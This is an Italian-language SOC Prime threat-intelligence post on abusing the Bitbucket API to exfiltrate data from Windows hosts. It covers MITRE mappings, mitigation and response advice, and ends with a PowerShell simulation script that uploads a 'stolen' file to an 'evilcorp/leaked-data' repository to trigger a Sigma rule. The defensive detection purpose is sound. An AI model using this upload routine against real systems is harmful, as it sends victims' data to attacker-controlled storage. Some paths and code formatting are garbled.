SOC Prime Bias: Medio

06 Apr 2026 17:58

Abuso dell’API di Bitbucket: Un Trucco Semplice per il Furto di Dati in Modo Invisibile

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Abuso dell’API di Bitbucket: Un Trucco Semplice per il Furto di Dati in Modo Invisibile
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Questo proof of concept mostra come un piccolo programma C possa abusare della Bitbucket webhook API per esfiltrare telemetria del sistema host da un sistema Windows compromesso. Raccoglie dettagli come hostname, build del sistema operativo, informazioni sulla CPU e dati dell’adattatore di rete, poi nasconde l’output dentro il campo descrizione di una webhook appena creata, fondendosi silenziosamente con il normale traffico cloud.

Indagine

L’autore condivide il codice sorgente completo, i passaggi di costruzione e richieste curl di esempio per creare, ispezionare e eliminare il webhook utilizzato per la fuoriuscita end-to-end. Il binario compilato è stato eseguito su un host Windows 10 x64 22H2 in un sandbox ANY.RUN e ha trasmesso dati senza allarmi evidenti. Il write-up annota anche abusi simili di piattaforme Git documentati in recenti attività APT.

Mitigazione

Monitorare HTTPS in uscita verso Bitbucket e altri host di codice, e segnalare chiamate API che creano webhooks inaspettatamente o contengono testo descrittivo strano. Richiedere autenticazione forte, limitare e definire token API, applicare il principio del minimo privilegio e verificare regolarmente le modifiche alla configurazione del repository.

Risposta

Al rilevamento, bloccare il traffico Bitbucket in uscita dall’host, revocare i token API esposti e inventariare i webhooks attraverso i repository per rimuovere voci malevole. Raccogliere artefatti degli endpoint per la forensica, scansionare per payload successivi e ruotare le credenziali per account CI/CD e sviluppatore.

"graph TB %% Class definitions classDef technique fill:#ffcccc classDef tool fill:#cce5ff classDef action fill:#d5f5d6 %% Nodes action_collect["<b>Azione</b> – Raccogliere informazioni di sistema"] class action_collect action tech_sysinfo["<b>Tecnica</b> – <b>T1082 Scoperta Informazioni di Sistema</b><br/><b>Descrizione</b>: Raccoglie dettagli sull’host come hostname, versione OS, architettura CPU, conteggio processori, unità logiche e indirizzi IP."] class tech_sysinfo technique tool_bitbucket["<b>Strumento</b> – Bitbucket Cloud REST API<br/><b>Metodo</b>: POST con username codificato Base64:APIu2011token"] class tool_bitbucket tool tech_webservice["<b>Tecnica</b> – <b>T1102.002 Servizio Web: Comunicazione Bidirezionale</b><br/><b>Descrizione</b>: Usa un’API di servizio web legittima per inviare e ricevere dati."] class tech_webservice technique tech_exfil_repo["<b>Tecnica</b> – <b>T1567.001 Esfiltrazione tramite Servizio Web: Esfiltrazione a Repository di Codice</b><br/><b>Descrizione</b>: Carica i dati raccolti in un repository di hosting codice tramite l’API del servizio."] class tech_exfil_repo technique tech_exfil_webhook["<b>Tecnica</b> – <b>T1567.004 Esfiltrazione tramite Servizio Web: Esfiltrazione tramite Webhook</b><br/><b>Descrizione</b>: Invia dati attraverso un webhook configurato per trasportare informazioni fuori dall’ambiente."] class tech_exfil_webhook technique tech_obfuscation["<b>Tecnica</b> – <b>T1001.003 Offuscamento Dati: Impersonazione di Protocollo o Servizio</b><br/><b>Descrizione</b>: Maschera il traffico malevolo come normali chiamate API a un servizio di fiducia."] class tech_obfuscation technique %% Connections action_collect –>|utilizza| tech_sysinfo tech_sysinfo –>|fornisce dati a| tool_bitbucket tool_bitbucket –>|sfrutta| tech_webservice tool_bitbucket –>|crea webhook per| tech_exfil_repo tool_bitbucket –>|crea webhook per| tech_exfil_webhook tech_webservice –>|è nascosto da| tech_obfuscation tech_exfil_repo –>|esfiltra dati tramite| tech_obfuscation tech_exfil_webhook –>|esfiltra dati tramite| tech_obfuscation "

Flusso dell’Attacco

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre‑volo della Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

  • Narrazione & Comandi dell’Attacco:
    L’avversario simulato ha ottenuto un piccolo insieme di dati (ad esempio, C:tempstolen.txt) e desidera esfiltrarlo in un repository privato Bitbucket senza destare sospetti. Per integrarsi con strumenti di sviluppo legittimi, l’attaccante sceglie l’oggetto COM WinHTTP nativo (WinHttp.WinHttpRequest.5.1) perché è comunemente presente su sistemi Windows e invoca direttamente il WinHttpConnect and WinHttpSendRequest funzioni che la regola di rilevamento osserva.

    1. Creare un file temporaneo contenente dati esfil dummy.
    2. Istanziare l’oggetto COM WinHTTP.
    3. Aprire una connessione POST a https://api.bitbucket.org/2.0/repositories/<team>/<repo>/src.
    4. Impostare intestazioni appropriate (Authorization: Basic …, Content-Type: multipart/form-data).
    5. Inviare il contenuto del file.
    6. Verificare la risposta HTTP 200.

    Questa sequenza esatta provoca a Sysmon di registrare un evento di NetworkConnect dove il processo is powershell.exe e la funzione catena include WinHttpConnect and WinHttpSendRequestsoddisfacendo la regola Sigma.

  • Script di Test di Regressione:

    # --------------------------------------------------------------
    # Esfiltrazione API Bitbucket tramite WinHTTP (Attivazione Regola Sigma)
    # --------------------------------------------------------------
    $tempFile   = "C:tempstolen.txt"
    $repoOwner  = "evilcorp"
    $repoName   = "leaked-data"
    $username   = "eviluser"
    $appPassword = "APPPASSWD"   # Base64 di "username:appPassword"
    $authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("$username:$appPassword"))
    
    # 1. Creare dati dummy se non presenti
    if (-not (Test-Path $tempFile)) {
        "Dati sensibili raccolti dall'avversario" | Set-Content -Path $tempFile -Encoding UTF8
    }
    
    # 2. Costruire payload multipart/form-data
    $boundary = "----WebKitFormBoundary$(Get-Random -Maximum 999999)"
    $body = @"
    --$boundary
    Content-Disposition: form-data; name="files"; filename="$(Split-Path $tempFile -Leaf)"
    Content-Type: application/octet-stream

$(Get-Content $tempFile -Raw) –$boundary– “@

# 3. Inizializzare oggetto COM WinHTTP
$winHttp = New-Object -ComObject "WinHttp.WinHttpRequest.5.1"

# 4. Aprire richiesta POST
$url = "https://api.bitbucket.org/2.0/repositories/$repoOwner/$repoName/src"
$winHttp.Open("POST", $url, $false)   # richiesta sincronizzata

# 5. Impostare intestazioni richieste
$winHttp.SetRequestHeader("Authorization", $authHeader)
$winHttp.SetRequestHeader("Content-Type", "multipart/form-data; boundary=$boundary")
$winHttp.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")

# 6. Inviare payload (questo attiva WinHttpConnect + WinHttpSendRequest)
$winHttp.Send($body)

# 7. Stato di risposta output per verifica
Write-Host "HTTP Status:" $winHttp.Status
Write-Host "Response Body:" $winHttp.ResponseText
  • Comandi di Pulizia:

    # Rimuovere file temporaneo
    Remove-Item -Path "C:tempstolen.txt" -Force -ErrorAction SilentlyContinue
    
    # Opzionalmente revocare manualmente tramite interfaccia web la password app Bitbucket
    Write-Host "Pulizia completata. Ricorda di eliminare il file caricato dal repository se necessario."